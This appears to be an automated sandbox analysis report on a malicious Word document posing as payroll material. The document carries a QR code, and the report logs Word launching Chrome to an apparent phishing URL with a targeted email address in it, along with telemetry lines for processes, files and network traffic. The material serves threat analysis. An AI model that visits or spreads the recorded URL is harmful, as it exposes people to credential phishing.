Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045

Source: unknown	HTTPS traffic detected: 40.126.32.140:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.140:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.140:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.64:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.140:443 -> 192.168.2.5:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:50069 version: TLS 1.2

Source: gostname.xsl.0.dr	OLE indicator, VBA macros: true
Source: turabian.xsl.0.dr	OLE indicator, VBA macros: true
Source: gb.xsl.0.dr	OLE indicator, VBA macros: true
Source: chicago.xsl.0.dr	OLE indicator, VBA macros: true
Source: mlaseventheditionofficeonline.xsl.0.dr	OLE indicator, VBA macros: true
Source: APASixthEditionOfficeOnline.xsl.0.dr	OLE indicator, VBA macros: true
Source: iso690nmerical.xsl.0.dr	OLE indicator, VBA macros: true
Source: ieee2006officeonline.xsl.0.dr	OLE indicator, VBA macros: true
Source: iso690.xsl.0.dr	OLE indicator, VBA macros: true
Source: gosttitle.xsl.0.dr	OLE indicator, VBA macros: true
Source: sist02.xsl.0.dr	OLE indicator, VBA macros: true
Source: harvardanglia2008officeonline.xsl.0.dr	OLE indicator, VBA macros: true

Source: gostname.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: turabian.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: gb.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: chicago.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: mlaseventheditionofficeonline.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ~WRF{6800F873-FD7E-4B0B-AE1F-111C796851C3}.tmp.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: APASixthEditionOfficeOnline.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: iso690nmerical.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ieee2006officeonline.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: iso690.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: gosttitle.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: sist02.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: harvardanglia2008officeonline.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: classification engine

Classification label: mal52.winDOCX@18/260@26/13

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Roaming\Microsoft\Office

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\{2BDFFAA9-0FB1-4E15-92C9-D310BE93E97C} - OProcSessId.dat

Jump to behavior

Source: Insight design set.dotx.0.dr	OLE indicator, Word Document stream: true
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	OLE indicator, Word Document stream: true
Source: Element design set.dotx.0.dr	OLE indicator, Word Document stream: true
Source: Equations.dotx.0.dr	OLE indicator, Word Document stream: true
Source: ~WRD0000.tmp.0.dr	OLE indicator, Word Document stream: true

Source: ~WRF{6800F873-FD7E-4B0B-AE1F-111C796851C3}.tmp.0.dr	OLE document summary: title field not present or empty
Source: ~WRF{6800F873-FD7E-4B0B-AE1F-111C796851C3}.tmp.0.dr	OLE document summary: author field not present or empty
Source: ~WRF{6800F873-FD7E-4B0B-AE1F-111C796851C3}.tmp.0.dr	OLE document summary: edited time not present or 0

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://z2k.3kf2d.com/ilPHd/#Moscrdemo@l-tron.com
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2020,i,6938504624187398722,11422843999623257211,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2020,i,6938504624187398722,11422843999623257211,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: L-tron_Payroll.LNK.0.dr	LNK file: ..\..\..\..\..\Desktop\L-tron_Payroll.docx
Source: Templates.LNK.0.dr	LNK file: ..\..\Templates
Source: Google Drive.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/media/image2.jpg
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/media/image10.jpeg
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/theme/_rels/theme1.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/_rels/settings.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/stylesWithEffects.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/itemProps3.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/item3.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item3.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/stylesWithEffects.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: ~WRD0000.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: ~WRD0000.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: ~WRD0000.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: ~WRD0000.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: ~WRD0000.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: ~WRD0000.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: Insight design set.dotx.0.dr

Initial sample: OLE indicators vbamacros = False

Persistence and Installation Behavior

AI detected landing page (webpage, office document or email)

Source: Office document

LLM: Office document contains QR code

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
